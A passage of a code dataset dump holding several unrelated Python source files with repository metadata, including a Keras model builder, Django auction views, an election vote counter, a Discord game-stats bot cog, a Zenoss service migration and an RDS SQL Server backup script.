2)))\n model.add(layers.Conv2D(64, (7, 7), activation='relu'))\n model.add(layers.Flatten())\n model.add(layers.Dense(64*2, activation='relu'))\n return model\n\n\ndef build_model(name='shallow',\n num_classes=10000,\n frozen_layers=(0,-4),\n input_shape=(224,224,3),\n base_learning_rate=0.0001):\n\n if name == 'shallow':\n base = shallow(input_shape)\n elif name == 'vgg16':\n base = vgg16_base(input_shape, frozen_layers)\n elif name == 'xception':\n base = xception_base(num_classes, frozen_layers)\n elif name == 'resnet_50_v2':\n base = resnet_50_v2_base(num_classes, frozen_layers)\n elif name == 'resnet_101_v2':\n base = resnet_101_v2_base(num_classes, frozen_layers)\n\n if name != 'shallow':\n global_average_layer = tf.keras.layers.GlobalAveragePooling2D()\n conv1 = tf.keras.layers.Dense(2048,activation='relu')\n conv2 = tf.keras.layers.Dense(512,activation='relu')\n prediction_layer = tf.keras.layers.Dense(num_classes,activation='softmax')\n model = tf.keras.Sequential([\n base,\n global_average_layer,conv1,conv2,\n prediction_layer\n ])\n else:\n prediction_layer = tf.keras.layers.Dense(num_classes,activation='softmax')\n model = tf.keras.Sequential([\n base,\n prediction_layer\n ])\n\n# base_learning_rate = 0.0001\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=base_learning_rate),\n loss='categorical_crossentropy')\n\n return model","repo_name":"AlexanderFengler/oscar_setup","sub_path":"keras_models.py","file_name":"keras_models.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31743871136","text":"import datetime\n\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom django.views.generic import CreateView, ListView, UpdateView\n\nfrom apps.subasta.forms import SubastaCreateForm, SubastaUpdateForm\nfrom apps.subasta.models import SubastaEnCurso\nfrom apps.tienda.models import Producto, Categoria, Tienda\n\n\nclass SubastaListOrderedFilterView(ListView):\n order_fields = {\n 'nombre': 'producto__nombre',\n 'precio': 'producto__precio',\n 'tiempo': 'hora_final',\n }\n\n def get_queryset(self):\n for subasta in SubastaEnCurso.objects.all():\n if subasta.hora_final > datetime.datetime.now():\n subasta.producto.delete()\n return SubastaEnCurso.objects.all()\n\n def filter_query_set(self, query_set):\n query_dict = self.request.GET\n if 'search' in query_dict and query_dict['search']:\n query_set = query_set.filter(producto__nombre__contains=query_dict['search'])\n\n if 'order_by' in query_dict and query_dict['order_by'] in self.order_fields:\n order_key = self.order_fields[query_dict['order_by']]\n if 'sense' in query_dict and query_dict['sense'] == 'descendente':\n order_key = '-' + order_key\n query_set = query_set.order_by(order_key)\n\n return query_set\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super(SubastaListOrderedFilterView, self).get_context_data(**kwargs)\n\n query_dict = self.request.GET\n context['animate_view'] = 'order_by' not in query_dict and 'search' not in query_dict\n\n if 'order_by' in query_dict and query_dict['order_by']:\n context['nombre_option'] = query_dict['order_by'] == 'nombre'\n context['precio_option'] = query_dict['order_by'] == 'precio'\n context['cantidad_option'] = query_dict['order_by'] == 'cantidad'\n\n if 'sense' in query_dict and query_dict['sense']:\n context['asc_option'] = query_dict['sense'] == 'ascendente'\n context['desc_option'] = query_dict['sense'] == 'descendente'\n\n if 'search' in query_dict and query_dict['search']:\n context['search_value'] = query_dict['search']\n\n return context\n\n\nclass ActualizarSubasta(UpdateView):\n model = SubastaEnCurso\n form_class = SubastaUpdateForm\n template_name = 'subasta_actualizar.html'\n context_object_name = 'subasta'\n success_url = reverse_lazy('subasta:listar-subscripciones')\n\n def get_context_data(self, **kwargs):\n context = super(ActualizarSubasta, self).get_context_data(**kwargs)\n\n context['min_value'] = str(self.get_object().precio_actual).replace(',', '.')\n if not isinstance(self.request.user, AnonymousUser):\n context['tienda_id'] = self.request.user.tienda.id\n\n return context\n\n def post(self, request, *args, **kwargs):\n subasta = self.get_object()\n if float(request.POST['precio_actual']) <= subasta.precio_actual:\n return redirect('subasta:actualizar-subasta', subasta.id)\n\n request.POST = request.POST.copy()\n request.POST['pujante'] = self.request.user\n return super(ActualizarSubasta, self).post(request, *args, **kwargs)\n\n\nclass CrearSubasta(LoginRequiredMixin, CreateView):\n model = SubastaEnCurso\n form_class = SubastaCreateForm\n template_name = 'subasta_crear.html'\n\n def post(self, request, *args, **kwargs):\n nombre = request.POST['nombre']\n precio = request.POST['precio']\n descripcion = request.POST['descripcion']\n producto = Producto(nombre=nombre,\n precio=precio,\n descripcion=descripcion)\n producto.save()\n\n date, time = request.POST['hora_final'].split('T')\n date = [int(x) for x in date.split('-')]\n time = [int(x) for x in time.split(':')]\n final_datetime = datetime.datetime(year=date[0], month=date[1], day=date[2], hour=time[0], minute=time[1])\n tienda = request.user.tienda\n SubastaEnCurso(tienda=tienda,\n producto=producto,\n precio_inicial=precio,\n precio_actual=precio,\n hora_final=final_datetime).save()\n\n return redirect('subasta:listar-subastas-usuario')\n\n\nclass ListaDeSubastasDeTienda(LoginRequiredMixin, SubastaListOrderedFilterView):\n model = SubastaEnCurso\n template_name = 'subastas_tienda_listar.html'\n context_object_name = 'subastas'\n\n def get_queryset(self):\n tienda_id = self.kwargs.get('tienda_id', 0)\n return self.filter_query_set(SubastaEnCurso.objects.filter(tienda_id=tienda_id))\n\n def get_context_data(self, **kwargs):\n context = super(ListaDeSubastasDeTienda, self).get_context_data(**kwargs)\n\n pk = self.kwargs.get('tienda_id', 0)\n tienda = Tienda.objects.get(id=pk)\n\n context['tienda'] = tienda\n context['page_header_text'] = f'Subastas de {tienda.nombre}'\n context['categorias'] = Categoria.objects.all()\n\n if not isinstance(self.request.user, AnonymousUser):\n context['tienda_id'] = self.request.user.tienda.id\n\n return context\n\n\nclass ListaDeTodasLasSubastas(LoginRequiredMixin, SubastaListOrderedFilterView):\n model = SubastaEnCurso\n template_name = 'subastas_todas_listar.html'\n context_object_name = 'subastas'\n\n def get_queryset(self):\n return self.filter_query_set(SubastaEnCurso.objects.exclude(tienda__usuario=self.request.user))\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['tienda_id'] = self.request.user.tienda.id\n context['page_header_text'] = 'Subastas en Curso'\n context['categorias'] = Categoria.objects.all()\n return context\n\n\nclass ListaDeSubastasDeUsuario(LoginRequiredMixin, SubastaListOrderedFilterView):\n template_name = 'subastas_usuario_listar.html'\n context_object_name = 'subastas'\n\n def get_queryset(self):\n return self.filter_query_set(SubastaEnCurso.objects.filter(tienda__usuario=self.request.user))\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super(ListaDeSubastasDeUsuario, self).get_context_data(**kwargs)\n\n context['page_header_text'] = f'Subastas de {self.request.user.tienda.nombre}'\n context['categorias'] = Categoria.objects.all()\n\n if not isinstance(self.request.user, AnonymousUser):\n context['tienda_id'] = self.request.user.tienda.id\n\n return context\n\n\nclass ListaDeSubscripcionesDeUsuario(LoginRequiredMixin, SubastaListOrderedFilterView):\n template_name = 'subastas_subscripciones_listar.html'\n context_object_name = 'subastas'\n\n def get_queryset(self):\n return self.filter_query_set(SubastaEnCurso.objects.filter(pujante=self.request.user))\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super(ListaDeSubscripcionesDeUsuario, self).get_context_data(**kwargs)\n\n context['page_header_text'] = f'Subscripciones de {self.request.user.tienda.nombre}'\n context['categorias'] = Categoria.objects.all()\n\n if not isinstance(self.request.user, AnonymousUser):\n context['tienda_id'] = self.request.user.tienda.id\n\n return context\n","repo_name":"alejandroklever/ecommerce-django-template","sub_path":"apps/subasta/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7480,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"31584703776","text":"\nimport os\noutputPath = os.path.join('pythonChallenge','pyPoll', 'Resources', 'election_data.csv')\n\nimport sys\nstdoutOrigin=sys.stdout \nsys.stdout = open(\"log2.txt\", \"w\")\n\nimport csv\nwith open (outputPath) as csvfile:\n csvreader = csv.reader(csvfile, delimiter =',')\n print('Election Results')\n print('----------------')\n\n next(csvreader)\n x=0\n khan=0\n correy=0\n li=0\n tooley=0\n\n for row in csvreader:\n x = x + 1\n if row[2] == 'Khan':\n khan = khan + 1\n if row[2] == 'Correy':\n correy = correy + 1\n if row[2] == 'Li':\n li = li + 1\n if row[2] == \"O'Tooley\":\n tooley = tooley +1\n \n y = max(khan,correy,li,tooley)\n\n if y == khan:\n a = 'Khan'\n if y == correy:\n a = 'Correy'\n if y == li:\n a = 'Li'\n if y == tooley:\n a = \"O'Tooley\"\n\n\n print(f'Total Votes: {x}')\n print('------------------')\n print(f'Khan: {round(((khan/x)*100),2)} % ({khan})')\n print(f'Correy: {round(((correy/x)*100),2)} % ({correy})')\n print(f'Li: {round(((li/x)*100),2)} % ({li})')\n print(f\"O'Tooley: {round(((tooley/x)*100),2)} % ({tooley})\")\n print('------------------')\n print(f'Winner: {a}')\n print('-------------------')\n\nsys.stdout.close()\nsys.stdout=stdoutOrigin\n\nprint(f'Total Votes: {x}')\nprint('------------------')\nprint(f'Khan: {round(((khan/x)*100),2)} % ({khan})')\nprint(f'Correy: {round(((correy/x)*100),2)} % ({correy})')\nprint(f'Li: {round(((li/x)*100),2)} % ({li})')\nprint(f\"O'Tooley: {round(((tooley/x)*100),2)} % ({tooley})\")\nprint('------------------')\nprint(f'Winner: {a}')\nprint('-------------------')","repo_name":"dreamanday/pythonChallenge","sub_path":"pyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41219390699","text":"from discord.ext import commands\nimport discord, config, aiohttp\nimport base64\nimport json\nimport gettext\n\nwargaming = {\n \"wows\": {\n \"servers\": {\n \"ru\": \"https://api.worldofwarships.ru/wows/\",\n \"eu\": \"https://api.worldofwarships.eu/wows/\",\n \"na\": \"https://api.worldofwarships.com/wows/\",\n \"asia\": \"https://api.worldofwarships.asia/wows/\"\n },\n \"nations\": {\n \"commonwealth\": \"🇦🇺 \",\n \"italy\": \"🇮🇹 \",\n \"usa\": \"🇺🇸 \",\n \"pan_asia\": \"🇨🇳 \",\n \"france\": \"🇫🇷 \",\n \"ussr\": \"☭ \",\n \"germany\": \"🇩🇪 \",\n \"uk\": \"🇬🇧 \",\n \"japan\": \"🇯🇵 \",\n \"poland\": \"🇵🇱 \",\n \"pan_america\": \"\"\n }\n }\n}\n\nclass Games:\n\n def __init__(self, bot):\n self.bot = bot\n self.lang = {}\n # self.languages = [\"french\", \"polish\", \"spanish\", \"tsundere\", \"weeb\"]\n self.languages = [\"tsundere\", \"weeb\", \"chinese\"]\n for x in self.languages:\n self.lang[x] = gettext.translation(\"games\", localedir=\"locale\", languages=[x])\n\n async def _get_text(self, ctx):\n lang = await self.bot.get_language(ctx)\n if lang:\n if lang in self.languages:\n return self.lang[lang].gettext\n else:\n return gettext.gettext\n else:\n return gettext.gettext\n\n @commands.command()\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def osu(self, ctx, username:str):\n \"\"\"Get osu stats\"\"\"\n _ = await self._get_text(ctx)\n try:\n await ctx.trigger_typing()\n url = \"https://osu.ppy.sh/api/get_user?k=%s&u=%s\" % (config.osu_key, username,)\n async with aiohttp.ClientSession() as cs:\n async with cs.get(url) as r:\n data = await r.json()\n if data == []:\n return await ctx.send(_(\"User not found.\"))\n\n data = data[0]\n level = float(data[\"level\"])\n rank = data[\"pp_rank\"]\n crank = data[\"pp_country_rank\"]\n accuracy = int(float(data[\"accuracy\"]))\n pp = int(float(data[\"pp_raw\"]))\n\n ss = int(data[\"count_rank_ss\"])\n ssp = int(data[\"count_rank_ssh\"])\n s = int(data[\"count_rank_s\"])\n sp = int(data[\"count_rank_sh\"])\n a = int(data[\"count_rank_a\"])\n\n int_level = int(level)\n next_level = int_level + 1\n\n score = int((1 - (next_level - level)) * 100)\n filled_progbar = round(score / 100 * 10)\n level_graphx = '█' * filled_progbar + '‍ ‍' * (10 - filled_progbar)\n\n msg = _(\"OSU! Profile for `%s`\\n\") % username\n msg += \"```\\n\"\n msg += _(\"Level - %s [ %s ] %s\\n\") % (int_level, level_graphx, next_level,)\n msg += _(\"Rank - %s\\n\") % rank\n msg += _(\"Country Rank - %s\\n\") % crank\n msg += _(\"Accuracy - %s\\n\") % str(accuracy) + \"%\"\n msg += _(\"PP - %s\\n\") % pp\n msg += _(\"SS - %s (SS+ %s)\\n\") % (ss, ssp,)\n msg += _(\"S - %s (S+ %s)\\n\") % (s, sp,)\n msg += _(\"A - %s\\n\") % a\n msg += \"```\"\n\n await ctx.send(msg)\n\n except Exception as e:\n return await ctx.send(_(\"Failed to fetch data, %s\") % e)\n\n @commands.command()\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def minecraft(self, ctx, username:str):\n _ = await self._get_text(ctx)\n try:\n async with aiohttp.ClientSession() as cs:\n async with cs.get(f\"https://api.mojang.com/users/profiles/minecraft/{username}\") as r:\n res = await r.json()\n user_id = res['id']\n async with aiohttp.ClientSession() as cs:\n async with cs.get(f\"https://sessionserver.mojang.com/session/minecraft/profile/{user_id}\") as r:\n res = await r.json()\n data = base64.b64decode(res['properties'][0]['value'])\n data = json.loads(data)\n skin = data['textures']['SKIN']['url']\n embed = discord.Embed(color=0xDEADBF, title=f\"User: {res['name']}\")\n embed.set_image(url=skin)\n await ctx.send(embed=embed)\n except:\n await ctx.send(_(\"**Failed to get user**\"))\n\n async def wows_get_user(self, username, region):\n async with aiohttp.ClientSession() as cs:\n async with cs.get(\n wargaming[\"wows\"][\"servers\"][region] + \"account/list/?application_id=\" + config.wargaming_id + \"&search=\" + username\n ) as r:\n res = await r.json()\n return res.get(\"data\", [])\n\n async def wows_get_ship(self, ship_id, session: aiohttp.ClientSession):\n cache = await self.bot.redis.get(\"ship:%s\" % ship_id)\n if not cache:\n async with session.get(\n \"https://api.worldofwarships.com/wows/encyclopedia/ships/?application_id=%s&ship_id=%s&language=en\" % (\n config.wargaming_id, ship_id\n )\n ) as r:\n res = await r.json()\n data = res[\"data\"][str(ship_id)]\n await self.bot.redis.set(\"ship:%s\" % ship_id, json.dumps(data))\n return data\n else:\n return json.loads(cache)\n\n @commands.group()\n @commands.guild_only()\n @commands.cooldown(2, 7, commands.BucketType.user)\n async def wows(self, ctx):\n \"\"\"World of Warships\"\"\"\n if ctx.invoked_subcommand is None:\n return await self.bot.send_cmd_help(ctx)\n\n @wows.command(name=\"ships\")\n async def wows_ships(self, ctx, username: str, region: str = \"na\"):\n \"\"\"Get a users ships\"\"\"\n await ctx.trigger_typing()\n region = region.lower()\n if region not in list(wargaming[\"wows\"][\"servers\"]):\n return await ctx.send(\"Not a valid region, valid regions: %s\" % \", \".join(list(wargaming[\"wows\"][\"servers\"])))\n user = await self.wows_get_user(username, region)\n if not user:\n return await ctx.send(\"No users found\")\n user = user[0]\n async with aiohttp.ClientSession() as cs:\n async with cs.get(\n wargaming[\"wows\"][\"servers\"][region] + \"ships/stats/?application_id=%s&account_id=%s\" % (config.wargaming_id, user[\"account_id\"])\n ) as r:\n res = await r.json()\n msg = \"Displaying **%s's** Top 10 Ships:\\n\" % user[\"nickname\"]\n async with aiohttp.ClientSession() as cs:\n for ship in sorted(res[\"data\"][str(user[\"account_id\"])], reverse=True, key=lambda i: i[\"pvp\"][\"xp\"])[:10]:\n ship_data = await self.wows_get_ship(ship[\"ship_id\"], cs)\n msg += \" - **%s%s:**\\n\" % (wargaming[\"wows\"][\"nations\"][ship_data[\"nation\"]], ship_data[\"name\"])\n msg += \" - Type: %s\\n - Battles: %s (%s Wins, %s Loses)\\n - Kills: %s\\n\" \\\n \" - Total XP: %s\\n\" % (\n ship_data[\"type\"],\n ship[\"pvp\"][\"battles\"],\n ship[\"pvp\"][\"wins\"],\n ship[\"pvp\"][\"losses\"],\n ship[\"pvp\"][\"frags\"],\n ship[\"pvp\"][\"xp\"]\n )\n await ctx.send(msg)\n\n @wows.command(name=\"user\")\n async def wows_user(self, ctx, username: str, region: str = \"na\"):\n \"\"\"Get user stats\"\"\"\n await ctx.trigger_typing()\n region = region.lower()\n if region not in list(wargaming[\"wows\"][\"servers\"]):\n return await ctx.send(\"Not a valid region, valid regions: %s\" % \", \".join(list(wargaming[\"wows\"][\"servers\"])))\n user_id = await self.wows_get_user(username, region)\n if not user_id:\n return await ctx.send(\"No users found\")\n user_id = user_id[0][\"account_id\"]\n async with aiohttp.ClientSession() as cs:\n async with cs.get(wargaming[\"wows\"][\"servers\"][region] + \"account/info/?application_id=%s&account_id=%s\" % (\n config.wargaming_id, user_id\n )) as r:\n res = await r.json()\n user_data = res[\"data\"][str(user_id)]\n msg = \"\"\n msg += \"**%s** - Lvl. **%s**\\n\\n\" % (user_data[\"nickname\"], user_data[\"leveling_tier\"])\n msg += \"**Battles:**\\n\"\n msg += \" - Total Battles: %s\\n - Wins: %s\\n - Loses: %s\\n - Draws: %s\\n\" % (\n user_data[\"statistics\"][\"pvp\"][\"battles\"],\n user_data[\"statistics\"][\"pvp\"][\"wins\"],\n user_data[\"statistics\"][\"pvp\"][\"losses\"],\n user_data[\"statistics\"][\"pvp\"][\"draws\"]\n )\n msg += \"**Main Battery:**\\n\"\n msg += \" - Max Kills in Battle: %s\\n - Kills: %s\\n - Hits: %s\\n - Shots: %s\\n\" % (\n user_data[\"statistics\"][\"pvp\"][\"main_battery\"][\"max_frags_battle\"],\n user_data[\"statistics\"][\"pvp\"][\"main_battery\"][\"frags\"],\n user_data[\"statistics\"][\"pvp\"][\"main_battery\"][\"hits\"],\n user_data[\"statistics\"][\"pvp\"][\"main_battery\"][\"shots\"]\n )\n msg += \"**Second Battery:**\\n\"\n msg += \" - Max Kills in Battle: %s\\n - Kills: %s\\n - Hits: %s\\n - Shots: %s\\n\" % (\n user_data[\"statistics\"][\"pvp\"][\"second_battery\"][\"max_frags_battle\"],\n user_data[\"statistics\"][\"pvp\"][\"second_battery\"][\"frags\"],\n user_data[\"statistics\"][\"pvp\"][\"second_battery\"][\"hits\"],\n user_data[\"statistics\"][\"pvp\"][\"second_battery\"][\"shots\"]\n )\n msg += \"**Torpedoes:**\\n\"\n msg += \" - Max Kills in Battle: %s\\n - Kills: %s\\n - Hits: %s\\n - Shots: %s\\n\" % (\n user_data[\"statistics\"][\"pvp\"][\"torpedoes\"][\"max_frags_battle\"],\n user_data[\"statistics\"][\"pvp\"][\"torpedoes\"][\"frags\"],\n user_data[\"statistics\"][\"pvp\"][\"torpedoes\"][\"hits\"],\n user_data[\"statistics\"][\"pvp\"][\"torpedoes\"][\"shots\"]\n )\n msg += \"**Other:**\\n\"\n msg += \" - Total Distance Travelled: %s Miles (%s Kilometers)\\n - Ships Spotted: %s\\n\" \\\n \" - Survived Battles: %s\\n - Kills: %s\\n - Planes Killed: %s\\n\" % (\n user_data[\"statistics\"][\"distance\"], round(user_data[\"statistics\"][\"distance\"] * 1.609),\n user_data[\"statistics\"][\"pvp\"][\"ships_spotted\"],\n user_data[\"statistics\"][\"pvp\"][\"survived_battles\"],\n user_data[\"statistics\"][\"pvp\"][\"frags\"],\n user_data[\"statistics\"][\"pvp\"][\"planes_killed\"]\n )\n if user_data[\"statistics\"][\"pvp\"][\"max_frags_ship_id\"]:\n async with aiohttp.ClientSession() as cs:\n msg += \" - Most Kills With: %s\\n\" % (\n (await self.wows_get_ship(user_data[\"statistics\"][\"pvp\"][\"max_frags_ship_id\"], cs))[\"name\"]\n )\n await ctx.send(msg)\n\ndef setup(bot):\n bot.add_cog(Games(bot))\n","repo_name":"Kadantte/NekoBot","sub_path":"modules/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":11062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"17614651583","text":"__doc__ = \"\"\"AddAPIZopesSvcDef\nAdds the service zenapi that provides Zope instances dedicated to serving non-UI JSON API requests.\n\"\"\"\nimport logging\nlog = logging.getLogger(\"zen.migrate\")\n\nimport os\nimport re\nimport copy\nimport Migrate\nimport servicemigration as sm\nimport subprocess\nimport shutil\n\nsm.require(\"1.1.9\")\n\ndef create_upstream_pattern(upstream_name, server_decl):\n return re.compile(\"\\\\n\\s+upstream %s {\\\\n\\s+least_conn;\\\\n\\s+%s;\\\\n\\s+keepalive 64;\\\\n\\s+}(?:(?:\\\\r)?\\\\n)\" % (upstream_name, server_decl))\n\nincl_mimetypes_pat = re.compile(r'include mime\\.types;(?:(?:\\\\r)?\\\\n)?')\nzope_upstream_pat = create_upstream_pattern('zopes', 'include zope-upstreams\\.conf')\nzopereports_upstream_pat = create_upstream_pattern('zopereports', 'include zopereports-upstreams\\.conf')\ndebugzope_upstream_pat = create_upstream_pattern('debugzopes', 'server 127\\.0\\.0\\.1:9310')\napizopes_upstream_pat = create_upstream_pattern('apizopes', 'include apizopes-upstreams\\.conf')\nmap_whichzopes_pat = re.compile(r'\\\\n\\s+map \\$host \\$whichzopes {\\\\n\\s+default zopes;\\\\n\\s+~\\*zenapi apizopes;\\\\n\\s+}\\\\n(?:(?:\\\\r)?\\\\n)')\n\napizopes_upstreams_decl = '\\n\\n upstream apizopes {\\n least_conn;\\n include apizopes-upstreams.conf;\\n keepalive 64;\\n }\\n'\napizopes_map_clause = '\\n ~*zenapi apizopes;'\napizopes_map_whichzopes_block_decl = '\\n map $host $whichzopes {\\n default zopes;\\n ~*zenapi apizopes;\\n }\\n'\n\ndef find_insertion_point(conf, patterns):\n insertion_point = 0\n if len(patterns) < 1:\n return insertion_point\n for pat in patterns:\n search_result = pat.search(conf)\n if search_result is not None:\n insertion_point = max(insertion_point, search_result.end())\n return insertion_point\n\ndef insert_apizopes_upstreams(conf):\n if apizopes_upstream_pat.search(conf) is not None:\n return conf\n insertion_point = find_insertion_point(conf, [incl_mimetypes_pat, zope_upstream_pat, zopereports_upstream_pat, debugzope_upstream_pat])\n if insertion_point > 0:\n return conf[:insertion_point] + apizopes_upstreams_decl + conf[insertion_point:]\n else:\n return conf\n\ndef insert_map_whichzopes_block(conf):\n map_block_begin_pat = re.compile('map \\$host \\$whichzopes {(?:\\\\n\\s+(?:~|\\*)*\\w+\\s+\\w+;)+', re.S)\n if map_whichzopes_pat.search(conf) is not None:\n return conf\n else:\n r1 = map_block_begin_pat.search(conf)\n if r1 is not None:\n insertion_point = r1.end()\n return conf[:insertion_point] + apizopes_map_clause + conf[insertion_point:]\n else:\n insertion_point = find_insertion_point(conf, [incl_mimetypes_pat, zope_upstream_pat, zopereports_upstream_pat, debugzope_upstream_pat, apizopes_upstream_pat])\n return conf[:insertion_point] + apizopes_map_whichzopes_block_decl + conf[insertion_point:]\n\nclass AddAPIZopesSvcDef(Migrate.Step):\n \"\"\"Adds the service zenapi that provides Zope instances dedicated to serving non-UI JSON API requests.\"\"\"\n version = Migrate.Version(115,0,0)\n\n def __init__(self):\n Migrate.Step.__init__(self)\n self.zenapi_proxy_incl = ' location / {\\n proxy_pass http://$whichzopes;'\n\n def _add_zenapi_service(self, ctx):\n zenapi_svc = filter(lambda x: x.name == \"zenapi\", ctx.services)\n if zenapi_svc and len(zenapi_svc) > 0:\n log.info(\"The zenapi service already exists. Skipping this migration step.\")\n return False\n\n # Copy zenapi service definition\n zenapi_svc_filepath = os.path.join(os.path.dirname(__file__), \"data\", \"zenapi-service.json\")\n zenapi_svc_tempfilepath = '/tmp/zenapi-service.json'\n shutil.copyfile(zenapi_svc_filepath, zenapi_svc_tempfilepath)\n\n # Substitute the ImageID\n zope_svc = filter(lambda x: x.name == \"Zope\", ctx.services)[0]\n subprocess.check_call(['sed', '-i', 's#\"ImageID\": \"[a-zA-Z0-9:\\/]\\+\",#\"ImageID\": \"{}\",#'.format(zope_svc.imageID), zenapi_svc_tempfilepath])\n\n with open(zenapi_svc_tempfilepath) as zenapi_jsonfile:\n try:\n user_interface_svc = filter(lambda x: x.name == \"User Interface\", ctx.services)[0]\n ctx.deployService(zenapi_jsonfile.read(), user_interface_svc)\n except Exception:\n log.error(\"Error deploying zenapi service definition\")\n return False\n\n return True\n\n def _insert_zenreport_nginx_incls(self, zproxy_conf):\n conf_with_upstreams = insert_apizopes_upstreams(zproxy_conf.content)\n conf_with_map_block = insert_map_whichzopes_block(conf_with_upstreams)\n conf_with_new_location_block = re.sub(r' location / {\\n proxy_pass http://zopes;', self.zenapi_proxy_incl, conf_with_map_block)\n if conf_with_new_location_block == zproxy_conf.content:\n return False\n else:\n zproxy_conf.content = conf_with_new_location_block\n return True\n\n def update_zproxy_configs(self, zproxy):\n\n # Modify zproxy configs for zenapi\n zproxy_conf_orig = filter(lambda x: x.name == \"/opt/zenoss/zproxy/conf/zproxy-nginx.conf\", zproxy.originalConfigs)[0]\n zproxy_conf = filter(lambda x: x.name == \"/opt/zenoss/zproxy/conf/zproxy-nginx.conf\", zproxy.configFiles)[0]\n\n # Add endpoint for new zenapi service\n zenapi_endpoint = filter(lambda x: x.name == \"zenapi\", zproxy.endpoints)\n if not zenapi_endpoint:\n zope_ep = filter(lambda x: x.name == \"zope\", zproxy.endpoints)[0]\n zenapi_ep = copy.deepcopy(zope_ep)\n zenapi_ep.name = \"zenapi\"\n zenapi_ep.application = \"zenapi\"\n zenapi_ep.applicationtemplate = \"zenapi\"\n zenapi_ep.portnumber = 9320\n zenapi_ep.purpose = \"import_all\"\n zproxy.endpoints.append(zenapi_ep)\n\n zproxy_endpoint = filter(lambda x: x.name == \"zproxy\", zproxy.endpoints)[0]\n zproxy_endpoint.vhostlist.append(sm.vhost.VHost(name=\"zenapi\", enabled=True))\n return self._insert_zenreport_nginx_incls(zproxy_conf_orig) and self._insert_zenreport_nginx_incls(zproxy_conf)\n\n def cutover(self, dmd):\n try:\n ctx = sm.ServiceContext()\n except sm.ServiceMigrationError:\n log.error(\"Couldn't generate context, skipping.\")\n return\n\n did_add_zenapi = self._add_zenapi_service(ctx)\n if not did_add_zenapi:\n return\n\n zproxy = ctx.getTopService()\n did_update_zproxy = self.update_zproxy_configs(zproxy)\n\n if not did_update_zproxy:\n log.error(\"Unable to add zenapi and update zproxy configuration\")\n return\n\n ctx.commit()\n\nAddAPIZopesSvcDef()\n","repo_name":"zenoss/zenoss-prodbin","sub_path":"Products/ZenModel/migrate/addAPIZopesSvcDef.py","file_name":"addAPIZopesSvcDef.py","file_ext":"py","file_size_in_byte":6766,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"11052880654","text":"import os\nimport pyodbc\nimport time\nimport datetime\nimport json\n\ndef runsql_mss():\n\n # 接続情報\n drv = \"ODBC Driver 17 for SQL Server\"\n edp = os.environ['DB_ENDPOINT']\n prt = os.environ['DB_PORT']\n dbn = os.environ['DB_NAME']\n usr = os.environ['DB_MASTER']\n se_nm = os.environ['tags_owner'] + \"_\" + os.environ['tags_env'] + \"_DBPASSWORD\"\n ps = json.loads(os.environ[\"{}\".format(se_nm)])\n pwd = ps[os.environ['PASSWORD_KEY']]\n\n # バックアップ環境変数\n hoge = {'DB_INSTANCE_IDENTIFIER': \"\", 'DB_NAME': \"\", 'BACKUP_FILE': \"\", 'S3_BUCKET': \"\", 'S3_PREFIX': \"\"}\n hoge['DB_INSTANCE_IDENTIFIER'] = os.environ['DB_INSTANCE_IDENTIFIER']\n hoge['DB_NAME'] = os.environ['DB_NAME']\n hoge['BACKUP_FILE'] = os.environ['DB_INSTANCE_IDENTIFIER'] + \"-\" + os.environ['DB_NAME'] + \".bak\"\n hoge['S3_BUCKET'] = os.environ['S3_BUCKET']\n ymd = datetime.date.today().strftime('%Y%m%d')\n hoge['S3_PREFIX'] = os.environ['S3_PREFIX'] + \"/\" + os.environ['DB_INSTANCE_IDENTIFIER'] + \"/\" + ymd\n\n # 接続コマンド作成\n con_str = \"DRIVER=%s;SERVER=%s;PORT=%s;DATABASE=%s;UID=%s;PWD=%s\" % (drv,edp,prt,dbn,usr,pwd)\n\n # 接続\n con = pyodbc.connect(con_str)\n con.setencoding('utf-8')\n\n # カーソル作成\n cur = con.cursor()\n\n # 01\n sql = '''\n exec rdsadmin..rds_show_configuration 'S3 backup compression'\n '''\n print(cur.execute(sql).fetchall())\n\n # 02\n sql = '''\n exec rdsadmin..rds_set_configuration 'S3 backup compression', 'true'\n commit\n '''\n cur.execute(sql)\n\n # 03\n sql = '''\n exec rdsadmin..rds_show_configuration 'S3 backup compression'\n '''\n print(cur.execute(sql).fetchall())\n\n\n # 04\n sql = '''\n exec msdb.dbo.rds_backup_database \n @source_db_name='{DB_NAME}', \n @s3_arn_to_backup_to='arn:aws:s3:::{S3_BUCKET}/{S3_PREFIX}/{BACKUP_FILE}',\n @overwrite_s3_backup_file=1,\n @number_of_files=1,\n @type='FULL';\n commit\n '''.format(**hoge)\n try:\n row = cur.execute(sql)\n except:\n print(sql)\n print(row)\n exit()\n\n # 05\n sql = '''\n exec msdb.dbo.rds_task_status @db_name='{DB_NAME}';\n commit\n '''.format(**hoge)\n task_status = \"\"\n while task_status != \"SUCCESS\":\n try:\n row = cur.execute(sql)\n except:\n print(sql)\n print(row)\n exit()\n res = row.fetchall()[0]\n task_status = res[5]\n if task_status == \"ERROR\":\n print(res[6])\n exit()\n else:\n time.sleep(30)\n print(task_status)\n\n # 06\n sql = '''\n exec rdsadmin..rds_set_configuration 'S3 backup compression', 'false'\n commit\n '''\n cur.execute(sql)\n\n # 07\n sql = '''\n exec rdsadmin..rds_show_configuration 'S3 backup compression'\n '''\n print(cur.execute(sql).fetchall())\n\n # 切断\n 